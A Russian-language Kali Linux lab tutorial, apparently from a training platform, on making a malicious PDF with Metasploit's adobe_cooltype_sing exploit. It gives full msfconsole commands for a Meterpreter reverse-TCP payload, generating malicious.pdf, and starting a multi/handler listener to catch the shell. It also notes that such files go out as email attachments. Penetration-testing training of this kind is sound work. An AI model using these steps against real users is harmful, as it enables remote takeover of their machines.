Создание вредоносного PDF-файла для атаки на стороне клиента

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы погрузитесь в мир клиентских атак, создав вредоносный PDF-файл с помощью Metasploit Framework. Клиентские атаки нацелены на уязвимости в приложениях на компьютере пользователя, таких как веб-браузеры, медиаплееры или программы для просмотра документов.

PDF-файлы являются распространенным вектором для таких атак, поскольку они широко используются и часто вызывают доверие у пользователей. Встраивая вредоносный код (payload) в кажущийся безобидным PDF, злоумышленник может получить контроль над системой жертвы, когда файл открывается в уязвимом PDF-ридере.

Вы узнаете, как выбрать конкретный эксплойт, настроить его с помощью полезной нагрузки (payload), сгенерировать вредоносный файл и настроить прослушиватель (listener) для обработки соединения с скомпрометированной системы. Эта лабораторная работа дает фундаментальное понимание того, как строятся подобные атаки.

Выбор модуля exploit/windows/fileformat/adobe_cooltype_sing

На этом шаге вы запустите консоль Metasploit Framework и выберете соответствующий модуль эксплойта для создания вредоносного PDF. Metasploit Framework — это мощный инструмент для тестирования на проникновение, а его консоль, msfconsole, является основным интерфейсом для взаимодействия с ним.

Сначала откройте терминал и запустите консоль Metasploit. Инициализация может занять некоторое время.

msfconsole -q

Флаг -q подавляет баннер для более быстрого запуска. После загрузки вы увидите приглашение msf6 >.

Мы будем использовать эксплойт, нацеленный на известную уязвимость в Adobe Reader. Модуль называется exploit/windows/fileformat/adobe_cooltype_sing. Используйте команду use для загрузки этого модуля.

use exploit/windows/fileformat/adobe_cooltype_sing

После выполнения команды вы заметите, что приглашение командной строки изменится, отражая текущий загруженный модуль.

msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >

Это подтверждает, что модуль теперь активен и готов к настройке.

Установка опции FILENAME для выходного PDF

На этом шаге вы настроите параметры для выбранного модуля эксплойта. Каждый модуль имеет набор настраиваемых параметров. Чтобы увидеть доступные параметры для текущего модуля, используйте команду show options.

show options

Эта команда отобразит таблицу параметров, которые вы можете установить, таких как имя выходного файла и настройки полезной нагрузки (payload).

Module options (exploit/windows/fileformat/adobe_cooltype_sing):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.
   ...

Payload options (generic/shell_reverse_tcp):
...

Нам нужно установить опцию FILENAME, чтобы указать имя нашего вредоносного PDF-файла. Мы назовем его malicious.pdf. Используйте команду set для присвоения этого значения.

set FILENAME malicious.pdf

Вы можете снова выполнить show options, чтобы убедиться, что FILENAME успешно обновлен.

FILENAME  malicious.pdf    yes       The file name.

Настройка полезной нагрузки reverse_tcp с LHOST и LPORT

На этом шаге вы настроите полезную нагрузку (payload). Полезная нагрузка — это код, который будет выполнен на целевой системе после успешного эксплойта. Мы будем использовать полезную нагрузку reverse_tcp, которая заставляет машину жертвы подключаться обратно к нашей машине.

Сначала установите полезную нагрузку на windows/meterpreter/reverse_tcp. Meterpreter — это продвинутая, динамически расширяемая полезная нагрузка, которая предоставляет больше функций, чем стандартная оболочка (shell).

set payload windows/meterpreter/reverse_tcp

Далее нам нужно настроить параметры полезной нагрузки: LHOST и LPORT.

  • LHOST: Это "Listening Host" (слушающий хост), то есть IP-адрес вашей машины. Машина жертвы будет подключаться обратно к этому IP.
  • LPORT: Это "Listening Port" (слушающий порт), порт на вашей машине, который будет ожидать подключения.

Чтобы узнать IP-адрес вашей машины, вы можете открыть новую вкладку терминала и выполнить команду ip a. Найдите IP-адрес, связанный с интерфейсом eth0.

ip a

Теперь установите LHOST на ваш IP-адрес (замените YOUR_IP_ADDRESS на фактический IP) и LPORT на распространенный порт, например 4444.

set LHOST YOUR_IP_ADDRESS
set LPORT 4444

Выполните show options еще раз, чтобы убедиться, что все настройки верны. Вы должны увидеть настроенные FILENAME, PAYLOAD, LHOST и LPORT.

Генерация вредоносного PDF-файла

На этом шаге, после настройки всех опций, вы готовы сгенерировать вредоносный PDF-файл. Команда exploit (или ее псевдоним run) соберет эксплойт и полезную нагрузку в финальный файл.

Выполните команду exploit в окне msfconsole.

exploit

Metasploit теперь создаст PDF-файл. Вывод покажет процесс и, самое главное, где файл был сохранен.

[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf

Файл создан. В реальном сценарии злоумышленник доставил бы этот файл цели, например, в виде вложения к электронному письму. Вы можете проверить его существование, используя команду ls в новом терминале.

ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf

Настройка обработчика в msfconsole для перехвата оболочки

На этом шаге вы настроите прослушиватель (listener), также известный как обработчик (handler), чтобы "поймать" входящее соединение от машины жертвы при открытии вредоносного PDF-файла. Без обработчика полезной нагрузке некуда подключаться.

Мы будем использовать модуль exploit/multi/handler, который является универсальным прослушивателем.

use exploit/multi/handler

Теперь вы должны настроить этот обработчик с точно такой же полезной нагрузкой и опциями (LHOST и LPORT), которые вы встроили в PDF-файл. Это критически важно для успешного соединения.

set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444

Не забудьте снова заменить YOUR_IP_ADDRESS на IP-адрес вашей машины.

После настройки обработчика запустите его командой exploit -j. Флаг -j запускает обработчик как фоновую задачу, что освобождает ваш командный интерфейс msfconsole для других команд, пока прослушиватель активен.

exploit -j

Вы увидите подтверждение того, что обработчик запущен.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444

Обработчик теперь ожидает соединения. В этой лабораторной работе мы не будем симулировать открытие файла жертвой, но ваша настройка завершена. Вы успешно создали вредоносный файл и подготовили прослушиватель для обработки обратного соединения (reverse shell).

Итоги

В этой лабораторной работе вы успешно прошли основные этапы создания вредоносного PDF-файла для атаки на стороне клиента с использованием Metasploit Framework.

Вы научились:

  • Запускать консоль Metasploit и выбирать подходящий модуль эксплойта.
  • Настраивать параметры эксплойта, такие как имя выходного файла.
  • Выбирать и настраивать полезную нагрузку (windows/meterpreter/reverse_tcp) с необходимыми параметрами LHOST и LPORT.
  • Генерировать финальный вредоносный PDF-файл.
  • Настраивать и запускать обработчик (exploit/multi/handler) для ожидания и перехвата входящего соединения с скомпрометированной системы.

Это упражнение дает практическое понимание механики распространенного вектора атаки и подчеркивает важность своевременного обновления программного обеспечения, особенно программ для чтения документов, для защиты от подобных уязвимостей.